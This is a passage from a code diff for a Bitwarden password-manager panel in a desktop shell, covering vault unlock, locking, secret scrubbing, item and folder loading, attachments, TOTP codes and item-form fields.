cancelFingerprintUnlock() + errorMessage = "" + isUnlocking = true + // Kept only until the unlock result is known; cleared on both paths below. + // The short-lived FIFO writer reads it as BW_PASSWORD. unlockProc was + // already bootstrapping while the user typed and never receives it. + pendingUnlockPassword = p + prepareUnlock() + unlockSubmitted = true + writeAuthPassword("unlock", p) + } + + function onUnlockOutput(stdoutText, stderrText, exitCode) { + isUnlocking = false + var out = String(stdoutText || "").trim() + var err = String(stderrText || "").trim() + + if (exitCode === 0 && out) { + onUnlockSuccess(out) + } else { + pendingUnlockPassword = "" + // A stored secret the vault no longer accepts is useless: drop it rather + // than fail on every open, and say which one went stale. + if (pendingUnlockFrom === "fingerprint") { + pendingUnlockFrom = "" + requestMasterCredentialClear() + fingerprintStored = false + fingerprintMessage = "Stored password no longer valid. Unlock with your master password to re-enable fingerprint unlock." + errorMessage = "" + focusAppropriateField() + Qt.callLater(prepareUnlock) + return + } + if (pendingUnlockFrom === "pin") { + pendingUnlockFrom = "" + clearPin() + pinError = "Your master password changed, so the PIN no longer works. Unlock with your password and set a new PIN." + errorMessage = "" + focusAppropriateField() + Qt.callLater(prepareUnlock) + return + } + if (err.indexOf("not logged in") !== -1) { + status = "unauthenticated" + currentScreen = "login" + errorMessage = "You are not logged in. Please log in below." + } else { + errorMessage = err || "Unlock failed: invalid master password" + Qt.callLater(prepareUnlock) + } + } + } + + function onUnlockSuccess(rawSession) { + var s = Model.extractSessionToken(rawSession) + masterPassword = "" + loginPassword = "" + loginClientId = "" + loginClientSecret = "" + login2faCode = "" + show2faField = false + loginDeviceVerification = false + loginAttemptHadCode = false + show2faMethodPicker = false + login2faMethodConfirmed = false + login2faMethod = rememberedTwoFactorMethod + loginAttemptMethod = -1 + showDeviceCodeField = false + loginDeviceCode = "" + deviceVerificationAttempt = false + deviceVerificationPending = false + secondFactorStartedAt = 0 + loginPasswordRetryUsed = false + initialSyncAttempted = false + syncLoginFieldsToState() + isUnlocking = false + unlockSubmitted = false + if (!s) { + errorMessage = "Unlock did not return a session key" + return + } + + session = s + vaultEpoch += 1 + status = "unlocked" + currentScreen = "main" + flashNotification("Vault unlocked successfully!") + + storeCurrentSession() + + // Opting in stores the master password so a finger can stand in for it later. + // Keep an existing enrolment current after a master password change. It no + // longer creates one -- that is what the setup form is for. + if (fingerprintUnlock && fingerprintAvailable && fingerprintStored + && pendingUnlockPassword && pendingUnlockFrom === "" + && !keyringStoreMasterProc.running) { + masterToStore = pendingUnlockPassword + beginEpochOperation("masterStore") + keyringStoreMasterProc.running = true + } else { + pendingUnlockPassword = "" + } + pendingUnlockFrom = "" + pinEntry = "" + pinAttempts = 0 + pinError = "" + fingerprintMessage = "" + + beginInitialVaultLoad(true, false) + resetAutoLockTimer() + focusAppropriateField() + } + + function lockVault() { + closeFilterGroup() + cancelAuthPrewarm() + clearClipboard() + // Before bw lock is launched, so the companion's deny transition is not + // sequenced behind it. The panel's own lock never waits on the answer. + applySshAgentLifecycle("lock") + if (session) { + lockProc.command = Model.lockCommand() + lockProc.running = true + } + // Not `if (rememberSession)`. The setting says whether to write a token, + // not whether one is there: turning it off after a session was remembered + // used to mean the lock skipped the erase and left the token behind. + // Clearing an entry that was never written is a no-op nobody reads. + requestSessionCredentialClear() + + dropVaultState() + status = "locked" + currentScreen = "locked" + fingerprintMessage = "" + flashNotification("Vault locked") + focusAppropriateField() + if (sshAuthSurfaceActive) startFingerprintUnlock() + } + + function vaultStatePresent() { + return !!session || status === "unlocked" || items.length > 0 + || organizations.length > 0 || folders.length > 0 || detailItem !== null + || sends.length > 0 || itemPayloadJson !== "" || sendPayloadJson !== "" + } + + // One local purge for every way an open vault stops being usable. Keeping + // this separate from the `bw lock` and keyring side effects lets a status + // transition fail closed without pretending that a remote/local CLI error + // was a successful Bitwarden lock command. + function dropVaultState() { + initialSyncAttempted = false + pinUnlockSubmitted = false + cancelFingerprintUnlock() + cancelAttachmentDownloads() + session = "" + vaultEpoch += 1 + readEpochs = ({}) + masterPassword = "" + itemsLoadedAt = 0 + orgsLoadedAt = 0 + foldersLoadedAt = 0 + items = [] + filteredItems = [] + organizations = [] + folders = [] + selectedOrg = "all" + selectedFolder = "all" + openFilterGroup = "" + searchQuery = "" + selectedCategory = "all" + selectedIndex = 0 + detailItem = null + revealedFields = ({}) + attachmentSaved = ({}) + formIsEditing = false + formItemId = "" + formTypeCode = 1 + clearTypeFields() + formName = "" + formUsername = "" + formUri = "" + formNotes = "" + formFavorite = false + formOrgId = "" + formFolderId = "" + formPicker = "" + formCollections = [] + formCollectionIds = [] + formCollectionsLoading = false + newFolderName = "" + creatingFolder = false + totpFollowupActive = false + isLoading = false + isUnlocking = false + isSyncing = false + metadataLoadPending = false + metadataForceRefresh = false + statusRefreshAfterItems = false + syncReloadPending = false + sendsLoading = false + sendBusy = false + genBusy = false + pendingUnlockPassword = "" + sessionStorePending = false + dropVaultSecrets() + } + + // A locked vault means the panel is holding nothing out of it, and nothing + // that would open it again. detailPassword and liveTotp were always dropped + // here; the rest were not, and each of them is the same kind of thing -- a + // generated password nobody copied, an item or Send form left mid-compose, + // the payload JSON on its way to bw, the master password typed into whichever + // setup form was open. The vault relocks after fifteen idle minutes and the + // shell process lives for the whole desktop session, so a property that + // survives a lock survives everything. + function dropVaultSecrets() { + detailPassword = "" + liveTotp = "" + totpRequestItemId = "" + totpQueuedItemId = "" + totpQueuedEpoch = -1 + totpRestartPending = false + totpCopyItemId = "" + passwordCopyItemId = "" + totpFollowupItem = null + totpFollowupCode = "" + genValue = "" + formPassword = "" + formTotp = "" + itemPayloadJson = "" + sends = [] + sendPayloadJson = "" + sendFormText = "" + sendFormPassword = "" + loginPassword = "" + login2faCode = "" + show2faField = false + loginDeviceVerification = false + loginAttemptHadCode = false + show2faMethodPicker = false + login2faMethodConfirmed = false + login2faMethod = rememberedTwoFactorMethod + loginAttemptMethod = -1 + showDeviceCodeField = false + loginDeviceCode = "" + deviceVerificationAttempt = false + deviceVerificationPending = false + secondFactorStartedAt = 0 + loginPasswordRetryUsed = false + loginClientId = "" + loginClientSecret = "" + syncLoginFieldsToState() + pinEntry = "" + pinSetupPin = "" + pinSetupConfirm = "" + pinSetupMaster = "" + fpSetupMaster = "" + masterToStore = "" + pendingAssociationsJson = "" + scrubSecretBuffers() + } + + // Emptying those properties leaves the values they were copied out of still + // sitting in the collectors that read them, which is the same residue one + // step upstream. See the collector-scrubbing note in BitwardenModel.js for + // why running a command that prints nothing is the way to clear one. + // + // Built on demand rather than held as a property: these ids are declared + // below this point, and a list bound at creation time would be a list of + // undefineds. + function secretProcesses() { + return [ + statusProc, sessionHandoffProc, keyringLookupProc, pinUnlockProc, keyringLookupMasterProc, + loginProc, unlockProc, listProc, listOrgsProc, listFoldersProc, orgCollectionsProc, + getItemProc, getTotpProc, generateProc, listSendsProc, createSendProc, + copyPasswordProc, + createItemProc, editItemProc, deleteItemProc, createFolderProc, attachmentProc, + associationsReadProc, generateServeRequestProc + ] + } + + function scrubSecretBuffers() { + scrubPending = secretProcesses() + scrubStep() + if (scrubPending.length) scrubRetry.restart() + } + + // A process still running when the vault locked cannot be scrubbed yet -- + // its buffer is in the middle of being written, and taking its command away + // would abandon a read someone is still waiting on. It stays in the queue + // and the retry comes back for it. + function scrubStep() { + var pass = Model.scrubPass(scrubPending) + for (var i = 0; i < pass.start.length; i++) { + pass.start[i].command = Model.scrubCommand() + pass.start[i].running = true + } + scrubPending = pass.waiting + } + + // Complete a scrub before its handler can reuse the same Process. What + // arrives from a scrub is an empty string and exit status zero, which reads + // as a successful login, empty vault or saved item unless every handler asks + // here first. + function finishScrubRun(proc) { + if (!Model.isScrubCommand(proc.command)) return false + scrubPending = Model.finishScrub(scrubPending, proc) + if (!scrubPending.length) scrubRetry.stop() + return true + } + + function clearProcessCollectorSoon(proc) { + Qt.callLater(function() { + if (proc.running) return + // Deferred by a callLater, so a submit can arrive between the schedule + // and the run. Taking the process here would make that submit wait on + // the scrub instead of on its own login. + if (proc === loginProc + && (loginSubmitAfterPrewarmStop || loginPrepareAfterPrewarmStop + || deviceVerificationPending || loginSubmitted)) return + proc.command = Model.scrubCommand() + proc.running = true + }) + } + + // ------------------------------------------------------------------------- + // Vault Data Operations + // ------------------------------------------------------------------------- + + // Stamped on a reader as it starts, and checked again where its answer + // arrives. A `bw` already in flight when the vault locks cannot be called + // back -- it is past the point where the session mattered -- so the only + // place left to refuse its answer is the completion handler. See the Vault + // generation section of BitwardenModel.js for what that answer costs when + // nobody refuses it. + function beginEpochOperation(name) { + readEpochs[name] = vaultEpoch + } + + function epochOperationIsStale(name) { + return Number(readEpochs[name]) !== Number(vaultEpoch) + } + + function invalidateEpochOperation(name) { + readEpochs[name] = vaultEpoch - 1 + } + + function beginVaultRead(name) { + beginEpochOperation(name) + } + + function vaultReadIsStale(name) { + return epochOperationIsStale(name) || !session + } + + // The first post-authentication process is always the item list. Organization + // and folder metadata each need another bw bootstrap, so they are scheduled + // only after items have reached the model and had time to paint. + function beginInitialVaultLoad(showSpinner, forceMetadata) { + metadataLoadPending = true + metadataForceRefresh = forceMetadata === true + loadItems(showSpinner) + } + + // Open-time load: skip the CLI entirely when the in-memory vault is fresh. + // Stale-while-revalidate. `bw list items` is a CLI bootstrap plus a full + // vault decrypt, so blocking the panel on it means a spinner on every open + // once the cache ages out. Show what we already have immediately, refresh + // behind it, and swap the list in when it lands. The spinner is only for + // the case where there is genuinely nothing to show yet. + function ensureItemsFresh() { + var haveItems = items.length > 0 + var stale = (Date.now() - itemsLoadedAt) >= itemsFreshMs + + if (haveItems) { + if (activeWindowData) handleActiveWindowDetected(activeWindowData) + else rebuildFilter() + if (!stale) return + } + + beginInitialVaultLoad(!haveItems, false) + } + + // `showSpinner` defaults to true, so existing callers are unchanged; a + // background revalidation passes false and refreshes without the UI moving. + function loadItems(showSpinner) { + if (!session) return + if (showSpinner !== false) isLoading = true + beginVaultRead("items") + listReadMode = Model.vaultListMode(dependencies) + if (listReadMode === "blocked") { + isLoading = false + if (!vaultReadIsStale("items")) errorMessage = Model.vaultListBlockedMessage(dependencies) + return + } + startVaultListRead(false) + } + + // The one place the item read is launched, so the agent branch and its + // retry-without-it cannot drift apart. `retrying` is the second attempt + // after a fan-out read failed; it never carries the branch. + function startVaultListRead(retrying) { + var useAgent = !retrying && sshAgentGateOpen && Model.isValidLoadId(sshAgentNextLoadId) + if (useAgent) { + sshAgentEpoch += 1 + sshAgentLoadId = sshAgentNextLoadId + sshAgentNextLoadId = "" + sshAgentLoadActive = true + sshAgentLoadedForVaultEpoch = root.vaultEpoch + if (sshAgentProc.stdinEnabled) { + sshAgentProc.write(Model.sshAgentLoadBeginLine(sshAgentEpoch, sshAgentLoadId)) + } + } + listAgentBranchActive = useAgent + listProc.environment = root.vaultListEnv(useAgent ? sshAgentLoadId : "") + listProc.command = Model.sanitizedListCommand({ agentBranch: useAgent }) + listProc.running = true + } + + // The nonce reaches `jq` through the environment rather than argv, because + // /proc//cmdline is world-readable and the nonce's whole purpose is + // being unguessable by another process running as this user. + function vaultListEnv(loadId) { + var env = root.bwEnv() + env[Model.loadIdEnvVar()] = loadId !== "" ? loadId : null + return env + } + + function onListFinished(rawJson) { + isLoading = false + if (vaultReadIsStale("items")) return + sshCapability = Model.inspectSanitizedVault(rawJson) + items = Model.parseSanitizedItems(rawJson) + itemsLoadedAt = Date.now() + refreshDerivedFromItems() + if (syncReloadPending) { + syncReloadPending = false + isSyncing = false + flashNotification("Vault synced with Bitwarden") + } + if (metadataLoadPending) deferredMetadataTimer.restart() + // The first read of a session usually beats the helper's handshake, so it + // carries no keys. Now that it has landed, check whether one is owed. + maybeStartupLoad() + } + + function onListProcessExited(exitCode, rawJson, stderrText) { + if (finishScrubRun(listProc)) return + var hadAgentBranch = listAgentBranchActive + listAgentBranchActive = false + endSshAgentLoad(exitCode === 0) + + if (exitCode === 0) { + listRetriedWithoutAgent = false + onListFinished(rawJson) + return + } + + // The optional feature is never allowed to cost the user their item list. + // One retry, without the branch, before anything is reported as an error. + if (hadAgentBranch && !listRetriedWithoutAgent && !vaultReadIsStale("items")) { + listRetriedWithoutAgent = true + beginVaultRead("items") + startVaultListRead(true) + return + } + listRetriedWithoutAgent = false + + isLoading = false + isSyncing = false + syncReloadPending = false + metadataLoadPending = false + metadataForceRefresh = false + if (statusRefreshAfterItems) { + statusRefreshAfterItems = false + } + if (!vaultReadIsStale("items")) { + errorMessage = Model.vaultListFailureMessage(stderrText, dependencies, listReadMode) + } + } + + // Each of these is its own `bw` invocation, and organizations and folders + // change rarely -- new ones arrive through this panel, which invalidates + // them explicitly. `force` is for exactly that case. + function loadOrganizations(force) { + if (!session) return + if (!force && organizations.length > 0 && (Date.now() - orgsLoadedAt) < metaFreshMs) return + beginVaultRead("organizations") + listOrgsProc.command = Model.listOrganizationsCommand() + listOrgsProc.running = true + } + + function onListOrgsFinished(rawJson) { + if (vaultReadIsStale("organizations")) return + organizations = Model.parseOrganizations(rawJson) + orgsLoadedAt = Date.now() + } + + function loadFolders(force) { + if (!session) return + if (!force && folders.length > 0 && (Date.now() - foldersLoadedAt) < metaFreshMs) return + beginVaultRead("folders") + listFoldersProc.command = Model.listFoldersCommand() + listFoldersProc.running = true + } + + function onListFoldersFinished(rawJson) { + if (vaultReadIsStale("folders")) return + folders = Model.parseFolders(rawJson) + foldersLoadedAt = Date.now() + } + + function selectFolder(folderId) { + selectedFolder = folderId + selectedIndex = 0 + openFilterGroup = "" + rebuildFilter() + } + + function toggleFilterGroup(group) { + if (openFilterGroup === group) { + openFilterGroup = "" + return + } + openFilterGroup = group + // Start on whichever option is currently active, so Enter is a no-op + // rather than a surprise. + var opts = filterOptions(group) + filterOptionIndex = 0 + for (var i = 0; i < opts.length; i++) { + if (opts[i].active) { filterOptionIndex = i; break } + } + } + + // Any action that is not part of the drawer closes it, so it never lingers + // over the results the user just filtered down to. + function closeFilterGroup() { + if (openFilterGroup !== "") openFilterGroup = "" + } + + function moveFilterCursor(delta) { + var n = currentFilterOptions.length + if (n === 0) return + filterOptionIndex = Math.max(0, Math.min(n - 1, filterOptionIndex + delta)) + } + + function activateFilterOption() { + var opts = currentFilterOptions + if (filterOptionIndex < 0 || filterOptionIndex >= opts.length) return + applyFilterOption(openFilterGroup, opts[filterOptionIndex].id) + } + + // Labels for the collapsed buttons, so the current filter is readable + // without opening anything. + function folderFilterLabel() { + if (selectedFolder === "all") return "All" + if (selectedFolder === "none") return "Unfiled" + return Model.folderName(folders, selectedFolder) || "Folder" + } + + function organizationFilterLabel() { + if (selectedOrg === "all") return "All" + if (selectedOrg === "personal") return "Personal" + for (var i = 0; i < organizations.length; i++) { + if (organizations[i].id === selectedOrg) return organizations[i].name + } + return "Vault" + } + + function typeFilterLabel() { + for (var i = 0; i < categories.length; i++) { + if (categories[i].id === selectedCategory) return categories[i].label + } + return "All" + } + + // Option rows for whichever group is open, in one shape so the three lists + // render identically. + function filterOptions(group) { + var out = [] + var i + if (group === "folders") { + out.push({ id: "all", label: "All Folders", icon: "󰉋", active: selectedFolder === "all" }) + out.push({ id: "none", label: "No Folder", icon: "󰉖", active: selectedFolder === "none" }) + for (i = 0; i < folders.length; i++) { + out.push({ id: folders[i].id, label: folders[i].name, icon: "󰉋", active: selectedFolder === folders[i].id }) + } + } else if (group === "organizations") { + out.push({ id: "all", label: "All Organizations", icon: "󰦑", active: selectedOrg === "all" }) + out.push({ id: "personal", label: "My Vault", icon: "", active: selectedOrg === "personal" }) + for (i = 0; i < organizations.length; i++) { + out.push({ id: organizations[i].id, label: organizations[i].name, icon: "󰓹", active: selectedOrg === organizations[i].id }) + } + } else if (group === "types") { + for (i = 0; i < visibleCategories.length; i++) { + out.push({ id: visibleCategories[i].id, label: visibleCategories[i].label, icon: visibleCategories[i].icon, active: selectedCategory === visibleCategories[i].id }) + } + } + return out + } + + function applyFilterOption(group, id) { + if (group === "folders") selectFolder(id) + else if (group === "organizations") { selectOrganization(id); openFilterGroup = "" } + else if (group === "types") { selectCategory(id); openFilterGroup = "" } + } + + function toggleFormPicker(which) { + formPicker = (formPicker === which) ? "" : which + } + + // What Escape does, wherever it is pressed. Kept here rather than inline in + // the key handler because it has two callers: PanelKeyCatcher's + // closeRequested, and the shortcut interceptor -- the catcher goes `blocked` + // on every screen with a text field, which used to take Escape down with it. + // + // Innermost thing first: a drawer or picker closes before the screen it is + // on, and a screen goes back before the panel closes. + function handleEscape() { + // Ahead of every other screen: a signing request is a question with a + // client blocked on the answer, so dismissing it has to mean "no" rather + // than "later". + if (currentScreen === "sshApproval" || sshUnlockRequest) { + denySshRequest() + return + } + if (openFilterGroup !== "") { + closeFilterGroup() + return + } + if (currentScreen === "edit" && formPicker !== "") { + formPicker = "" + return + } + if (currentScreen === "sends") { + if (sendMode === "create") { + sendError = "" + sendMode = "list" + // Leaving the composer does not change the screen, so nothing else + // takes focus off its (now hidden) name field. + restoreScreenFocus() + } else { + currentScreen = "main" + } + } else if (currentScreen === "generator") { + // Back to the item form when that is where this came from, leaving + // the password field as it was. + closeGenerator() + } else if (currentScreen === "fingerprint") { + fpError = "" + currentScreen = "settings" + } else if (currentScreen === "pin") { + pinError = "" + currentScreen = "settings" + } else if (currentScreen === "settings") { + closeSettings() + } else if (currentScreen === "setup") { + dismissSetup() + } else if (currentScreen === "edit") { + // Editing is abandoned, not saved -- the form is scratch space until + // Save, and Escape is how you throw it away. Back where the form was + // opened from, which is what the form's own Cancel button does. + currentScreen = formIsEditing ? "detail" : "main" + } else if (currentScreen === "detail") { + currentScreen = "main" + } else { + close() + } + } + + // Qt does not clear active focus when an item is hidden, so leaving a screen + // whose field had focus leaves that field owning the keyboard from behind + // whatever replaced it -- which is how Escape on the item form reached the + // search box and closed the panel. Re-home focus whenever the screen + // changes, and the stale owner goes with it. + onCurrentScreenChanged: { + // The server lives as long as the screen that needs it and no longer. A + // loopback port has no authentication and every account on the machine can + // reach it, and `bw serve` answers /status with the account email and user + // id whether the vault is locked or not. Holding that open for hours to + // save a second on a screen visited for a few is the wrong trade. + if (currentScreen !== "generator") stopGeneratorServe() + // Both setup forms ask for the master password, and both used to keep it + // for the rest of the shell's life: Cancel and Escape only reset the error + // line. Leaving the form is the answer either way, so the clearing lives + // here rather than at each of the ways out. + if (currentScreen !== "pin") abandonPinSetup() + if (currentScreen !== "fingerprint") abandonFingerprintSetup() + restoreScreenFocus() + } + + function restoreScreenFocus() { + Qt.callLater(function() { + if (status !== "unlocked") { focusAppropriateField(); return } + switch (currentScreen) { + case "main": searchField.forceActiveFocus(); return + case "edit": formNameField.forceActiveFocus(); return + // These open through a function that focuses their own first field. + case "pin": case "fingerprint": return + case "sends": if (sendMode === "create") return; break + } + // Everything else is keyboard-navigated rather than typed into. + keyCatcher.forceActiveFocus() + }) + } + + function setFormFolder(id) { + formFolderId = id + formPicker = "" + } + + // Changing owner invalidates the collection choice: collections belong to a + // single organization, and a personal item cannot have any. + function setFormOrganization(id) { + formOrgId = id + formPicker = "" + formCollectionIds = [] + formCollections = [] + if (id && id !== "personal" && id !== "all") loadOrgCollections(id) + } + + function loadOrgCollections(orgId) { + if (!session || !orgId) return + formCollectionsLoading = true + beginVaultRead("collections") + orgCollectionsProc.command = Model.listOrgCollectionsCommand(orgId) + orgCollectionsProc.running = true + } + + function onOrgCollectionsLoaded(raw) { + formCollectionsLoading = false + if (vaultReadIsStale("collections")) return + formCollections = Model.parseCollections(raw) + // A single collection is not a choice; pre-select it. + if (formCollections.length === 1 && formCollectionIds.length === 0) { + formCollectionIds = [formCollections[0].id] + } + } + + function toggleFormCollection(id) { + var next = [] + var found = false + for (var i = 0; i < formCollectionIds.length; i++) { + if (formCollectionIds[i] === id) found = true + else next.push(formCollectionIds[i]) + } + if (!found) next.push(id) + formCollectionIds = next + } + + function isFormCollectionSelected(id) { + for (var i = 0; i < formCollectionIds.length; i++) { + if (formCollectionIds[i] === id) return true + } + return false + } + + function formFolderLabel() { + if (!formFolderId) return "No Folder" + return Model.folderName(folders, formFolderId) || "No Folder" + } + + function formOrgLabel() { + if (!formOrgId || formOrgId === "personal") return "My Vault" + for (var i = 0; i < organizations.length; i++) { + if (organizations[i].id === formOrgId) return organizations[i].name + } + return "My Vault" + } + + function submitNewFolder() { + var name = String(newFolderName || "").trim() + if (!name) return + creatingFolder = true + beginVaultRead("folderCreate") + createFolderProc.command = Model.createFolderCommand() + createFolderProc.running = true + } + + function onFolderCreated(exitCode, stdoutText) { + creatingFolder = false + if (vaultReadIsStale("folderCreate")) return + if (exitCode !== 0) { + errorMessage = "Could not create folder" + return + } + var created = null + try { created = JSON.parse(stdoutText) } catch (e) { created = null } + newFolderName = "" + // Creating a folder from the item form is only ever a prelude to filing + // the item into it, so select it straight away. + if (created && created.id) formFolderId = String(created.id) + flashNotification("Folder created") + loadFolders(true) + } + + function syncVault() { + closeFilterGroup() + if (!session) return + isSyncing = true + beginVaultRead("sync") + syncProc.command = Model.syncCommand() + syncProc.running = true + } + + function onSyncFinished(exitCode) { + if (vaultReadIsStale("sync")) return + if (exitCode === 0) { + itemsLoadedAt = 0 + syncReloadPending = true + beginInitialVaultLoad(true, true) + } else { + isSyncing = false + syncReloadPending = false + errorMessage = "Sync failed" + } + } + + function openDetail(item) { + closeFilterGroup() + if (!item || !item.id) return + learnFromPick(item) + isLoading = true + errorMessage = "" + revealedFields = ({}) + showDeleteConfirm = false + detailItem = null + detailPassword = "" + liveTotp = "" + // Another item's downloads say nothing about this one's. + attachmentQueue = [] + attachmentSaved = ({}) + currentScreen = "detail" + + // The list already fetched the whole item, so render from that rather than + // spending a second CLI round trip on data we are holding. Only fall back + // to `bw get item` if this item somehow arrived without its raw object. + var detail = item.rawObject ? Model.itemDetailFromObject(item.rawObject) : null + if (detail) { + isLoading = false + detailItem = detail + detailPassword = detail.password + } else { + beginVaultRead("detail") + if (item.typeCode === 5) { + isLoading = false + errorMessage = "SSH keys are read-only public records" + currentScreen = "main" + return + } + getItemProc.command = Model.getItemCommand(item.id, item.typeCode) + getItemProc.running = true + } + + // The TOTP code is time-based, so it is the one thing the list cannot + // carry. It loads alongside rather than in front of the detail view. + if (item.hasTotp) { + fetchTotp(item.id) + } + } + + function onDetailFinished(rawJson) { + isLoading = false + if (vaultReadIsStale("detail")) return + var parsed = Model.parseItemDetail(rawJson) + if (parsed) { + detailItem = parsed + detailPassword = parsed.password + } else { + errorMessage = "Could not load item details" + } + } + + // ------------------------------------------------------------------------- + // Attachments + // ------------------------------------------------------------------------- + + function cancelAttachmentDownloads() { + attachmentQueue = [] + attachmentBusyId = "" + invalidateEpochOperation("attachment") + // A download holds decrypted bytes and the session it inherited at start. + // The supervised process group removes its private staging directory and + // cannot commit a file after the vault or panel has closed. + if (attachmentProc.running) attachmentProc.running = false + } + + function queueAttachment(att) { + if (!detailItem || !att || !att.id) return + if (attachmentBusyId === att.id) return + for (var i = 0; i < attachmentQueue.length; i++) { + if (attachmentQueue[i].id === att.id) return + } + resetAutoLockTimer() + errorMessage = "" + var next = attachmentQueue.slice() + // The declared size travels with the job so the saver can refuse an + // oversized attachment before it starts, and check the disk has room. + next.push({ id: att.id, fileName: att.fileName, itemId: detailItem.id, size: att.size }) + attachmentQueue = next + pumpAttachmentQueue() + } + + function saveAllAttachments() { + if (!detailItem || !detailItem.attachments) return + for (var i = 0; i < detailItem.attachments.length; i++) { + queueAttachment(detailItem.attachments[i]) + } + } + + function pumpAttachmentQueue() { + if (attachmentBusyId !== "" || attachmentQueue.length === 0) return + if (!session) { + attachmentQueue = [] + errorMessage = "Vault is locked or session expired. Please unlock your vault." + return + } + var next = attachmentQueue.slice() + var job = next.shift() + attachmentQueue = next + attachmentBusyId = job.id + beginVaultRead("attachment") + attachmentProc.command = Model.attachmentDownloadCommand(job.id, job.itemId, job.fileName, job.size) + attachmentProc.running = true + } + + function onAttachmentDownloaded(exitCode, savedPath, stderrText) { + var id = attachmentBusyId + attachmentBusyId = "" + if (vaultReadIsStale("attachment")) return + var path = String(savedPath || "").trim() + + if (exitCode !== 0 || !path) { + // bw's own message is the useful one -- "Not found." for an attachment + // that has since been deleted, or a permission error on the directory. + var err = String(stderrText || "").trim().split("\n")[0] + errorMessage = err ? ("Could not save the attachment: " + err) + : "Could not save the attachment" + attachmentQueue = [] + return + } + + var saved = {} + for (var k in attachmentSaved) saved[k] = attachmentSaved[k] + saved[id] = path + attachmentSaved = saved + flashNotification("Saved " + Model.baseName(path)) + pumpAttachmentQueue() + } + + function attachmentSavedPath(id) { + return (attachmentSaved && attachmentSaved[id]) ? String(attachmentSaved[id]) : "" + } + + function isAttachmentQueued(id) { + for (var i = 0; i < attachmentQueue.length; i++) { + if (attachmentQueue[i].id === id) return true + } + return false + } + + function openSavedAttachment(id) { + var path = attachmentSaved[id] + if (!path) return + resetAutoLockTimer() + Quickshell.execDetached(["xdg-open", path]) + } + + function revealSavedAttachment(id) { + var path = attachmentSaved[id] + if (!path) return + var dir = Model.parentDirectory(path) + if (!dir) return + resetAutoLockTimer() + Quickshell.execDetached(["xdg-open", dir]) + } + + function fetchTotp(itemId, copyWhenReady) { + if (!session || !itemId) return + if (copyWhenReady) totpCopyItemId = String(itemId) + if (getTotpProc.running || totpRestartPending) { + if (totpRequestItemId !== String(itemId)) { + totpQueuedItemId = String(itemId) + totpQueuedEpoch = vaultEpoch + } + return + } + startTotpFetch(String(itemId)) + } + + function startTotpFetch(itemId) { + if (!session || !itemId) return + totpRequestItemId = itemId + beginVaultRead("totp") + getTotpProc.command = Model.getTotpCommand(itemId) + getTotpProc.running = true + } + + function onTotpProcessExited(exitCode, code) { + var itemId = totpRequestItemId + totpRequestItemId = "" + if (exitCode === 0) onTotpFinished(itemId, code) + else if (totpCopyItemId === itemId) { + totpCopyItemId = "" + errorMessage = "Could not read this TOTP code" + } + + continueTotpQueue(false) + } + + function continueTotpQueue(collectorIsClean) { + var queued = totpQueuedItemId + var queuedEpoch = totpQueuedEpoch + totpQueuedItemId = "" + totpQueuedEpoch = -1 + if (queued) { + // Reserve this Process before deferring its restart. Without the flag, a + // newer request can start in this one-event-loop gap and then be + // overwritten by the older queued request. + totpRestartPending = true + totpRequestItemId = queued + Qt.callLater(function() { + root.totpRestartPending = false + if (queuedEpoch === root.vaultEpoch && root.session) root.startTotpFetch(queued) + else { + if (root.totpRequestItemId === queued) root.totpRequestItemId = "" + if (!collectorIsClean) root.clearProcessCollectorSoon(getTotpProc) + } + }) + } + else if (!collectorIsClean) clearProcessCollectorSoon(getTotpProc) + } + + function onTotpFinished(itemId, code) { + if (vaultReadIsStale("totp")) return + var c = String(code || "").trim() + if (detailItem && detailItem.id === itemId) liveTotp = c + if (totpFollowupActive && totpFollowupItem && totpFollowupItem.id === itemId) { + totpFollowupCode = c + } + if (totpCopyItemId === itemId) { + totpCopyItemId = "" + if (c) copyToClipboard(c, "TOTP code") + else errorMessage = "Could not read this TOTP code" + } + } + + // ------------------------------------------------------------------------- + // CRUD Operations (Add, Edit, Delete) + // ------------------------------------------------------------------------- + + // The card or identity boxes, in the shape buildCreatePayload and + // buildEditPayload want. Returns null for a login or a note, and null is + // exactly what tells buildEditPayload to leave an existing sub-object alone. + function formTypeFields() { + if (formTypeCode === 3) { + return { + cardholderName: formCardholderName, brand: formCardBrand, + number: formCardNumber, expMonth: formCardExpMonth, + expYear: formCardExpYear, code: formCardCode + } + } + if (formTypeCode === 4) { + return { + title: formIdTitle, firstName: formIdFirstName, + middleName: formIdMiddleName, lastName: formIdLastName, + username: formIdUsername, company: formIdCompany, + email: formIdEmail, phone: formIdPhone, ssn: formIdSsn, + passportNumber: formIdPassport, licenseNumber: formIdLicense, + address1: formIdAddress1, address2: formIdAddress2, + address3: formIdAddress3, city: formIdCity, state: formIdState, + postalCode: formIdPostalCode, country: formIdCountry + } + } + return null + } + + // Every card and identity box, emptied. Called wherever the form resets so + // a new item never opens wearing the last one's card number. + function clearTypeFields() { + formCardholderName = ""; formCardBrand = ""; formCardNumber = "" + formCardExpMonth = ""; formCardExpYear = ""; formCardCode = "" + formIdTitle = ""; formIdFirstName = ""; formIdMiddleName = "" + formIdLastName = ""; formIdUsername = ""; formIdCompany = "" + formIdEmail = ""; formIdPhone = ""; formIdSsn = "" + formIdPassport = ""; formIdLicense = ""; formIdAddress1 = "" + formIdAddress2 = ""; formIdAddress3 = ""; formIdCity = "" + formIdState = ""; formIdPostalCode = ""; formIdCountry = "" + } + + function loadTypeFields(item) { + clearTypeFields() + if (!item) return + var c = item.card || null + if (c) { + formCardholderName = String(c.cardholderName || "") + formCardBrand = String(c.brand || "") + formCardNumber = String(c.number || "") + formCardExpMonth = String(c.expMonth || "") + formCardExpYear = String(c.expYear || "") + formCardCode = String(c.code || "") + } + var d = item.identity || null + if (d) { + formIdTitle = String(d.title || "") + formIdFirstName = String(d.firstName || "") + formIdMiddleName = String(d.middleName || "") + formIdLastName = String(d.lastName || "") + formIdUsername = String(d.username || "") + formIdCompany = String(d.company || "") + formIdEmail = String(d.email || "") + formIdPhone = String(d.phone || "") + formIdSsn = String(d.ssn || "") + formIdPassport = String(d.passportNumber || "") + formIdLicense = String(d.licenseNumber || "") + formIdAddress1 = String(d.address1 || "") + formIdAddress2 = String(d.address2 || "") + formIdAddress3 = String(d.address3 || "") + formIdCity = String(d.city || "") + formIdState = String(d.state || "") + formIdPostalCode = String(d.postalCode || "") + formIdCountry = String(d.country || "") + } + } + + function startAddNewItem() { + closeFilterGroup() + formIsEditing = false + formItemId = "" + formTypeCode = 1 + clearTypeFields() + formName = "" + formUsername = "" + formPassword = "" + formTotp = "" + formUri = "" + formNotes = "" + formFavorite = false + formOrgId = selectedOrg !== "all" ? selectedOrg : "" + formFolderId = (selectedFolder !== "all" && selectedFolder 